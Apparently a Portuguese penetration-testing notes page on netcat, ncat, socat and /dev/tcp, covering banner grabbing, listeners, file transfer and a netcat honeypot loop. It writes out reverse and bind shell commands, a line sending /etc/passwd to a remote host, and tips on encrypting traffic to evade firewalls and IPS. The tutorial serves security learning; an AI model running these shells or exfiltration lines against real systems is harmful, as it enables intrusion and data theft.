Utilitários

Netcat

Para utilizarmos o netcat, é bem simples, basta informar o ip e logo em seguida a porta. Com isso, é estabelecido a conexão com o serviço e no exemplo abaixo irá trazer o banner do FTP.

user@xubuntu:~$ nc -v www.businesscorp.com.br 21
Connection to www.businesscorp.com.br 21 port [tcp/ftp] succeeded!
220 ProFTPD 1.3.4a Server (FTP) [::ffff:37.59.174.225]

Se quisermos nos conectar em um serviço web, precisamos enviar uma requisição (GET, HEAD, POST, etc), junto com o local que queremos acessar (o exemplo abaixo foi utilizado o "/") e também a versão do http. Lembrando que se for HTTPS, será preciso enviar o cabeçalho host.

user@xubuntu:~$ nc -v www.businesscorp.com.br 80
HEAD / HTTP/1.0

Connection to www.businesscorp.com.br 80 port [tcp/http] succeeded!
HTTP/1.1 200 OK
Date: Sun, 29 Sep 2019 22:42:31 GMT
Server: Apache/2.2.22 (Debian)
Last-Modified: Wed, 25 Sep 2019 17:05:45 GMT
ETag: "20463-1bb6-59363a9ea0957"
Accept-Ranges: bytes
Content-Length: 7094
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

Para abrirmos uma porta na máquina para outro host se conectar, utilizamos o netcat da seguinte forma. Nesse caso, basta o outro host utilizar o ip da máquina e a porta para estabelecer a conexão.

user@xubuntu:~$ nc -nlvp 4444
Listening on 0.0.0.0 4444

Transferência de arquivos

Se quisermos transferir arquivos, basta utilizar da seguinte forma.

nc -v <ip> <porta> < arquivo.txt

Agora do lado que irá receber o arquivo.

nc -nlvp <porta> > arquivo.txt

Honeypot

Se quisermos simular uma porta aberta em uma máquina para servir de honeypot, fazemos da seguinte forma.

while true; do sudo nc -nlvp 21 1>> log.txt 2>> erro.txt; done;

Reverse shell

O netcat também é utilizado quando queremos obter uma reverse shell. Podemos abrir uma porta na nossa máquina e na máquina alvo enviar a conexão da seguinte forma.

nc <ip> <porta> -e /bin/bash

A ideia da reverse shell é burlar o firewall, uma vez que descoberto uma porta de saída na rede alvo, podemos ganhar vantagem disso fazendo a máquina alvo se conectar na nossa, enviando assim uma shell. Podemos gerar também através desse site.

Ncat

O ncat é uma evolução do netcat, a diferença é que ele suporta criptografia e então não é possível ler claramente o que for trafegado durante a comunicação. Precisamos então gerar um certificado e uma chave.

openssl req -x509 -newkey rsa:2048 -keyout chave.pem -out cert.pem -days 10

Para abrirmos a conexão, será solicitado que utilizamos a senha que foi inserido

ncat -nlvp <porta> --ssl-key chave.pem --ssl-cert cert.pem

Para conectar, precisamos passar um parâmetro a mais.

ncat -vn <ip> <porta> --ssl 

Com uma comunicação criptografada, o firewall, ips ou similar, pode ter mais dificuldade de analisar os pacotes que estão sendo trafegados para um possível bloqueio.

Socat

No socat, podemos abrir uma determinada porta assim (por padrão ele pede dois endereços, então o "tracinho" serve como um alias para dizer que não possui outro endereço).

socat tcp4-listen:<porta> -

Para nos conectarmos, podemos utilizar qualquer utilitário e informar o ip e a porta que foi aberta.

Agora, utilizando o socat para conectar, fica da seguinte forma.

socat tcp4:<ip>:<porta> -

Se quisermos enviar o bin/bash.

socat tcp4-listen:<porta> EXEC:/bin/bash

/dev/tcp

O /dev/tcp também possui algumas funcionalidades caso não tenhamos acesso aos outros utilitários. Quando utilizamos ele, abrimos um socket tcp com determinado endereço de ip e porta. Podemos enviar uma mensagem, ou arquivo.

cat /etc/passwd > /dev/tcp/<ip>/<porta>

Se quisermos enviar um bash, fazemos da seguinte forma (o parâmetro -i significa interativo).

bash -i > /dev/tcp/<ip>/<porta> 0>&1 2>&1

Lembrando que 0>&1 significa que todo stdin será direcionado para o stdout e 2>&1 signfica que todos os erros serão direcionados para o stdout.

Last updated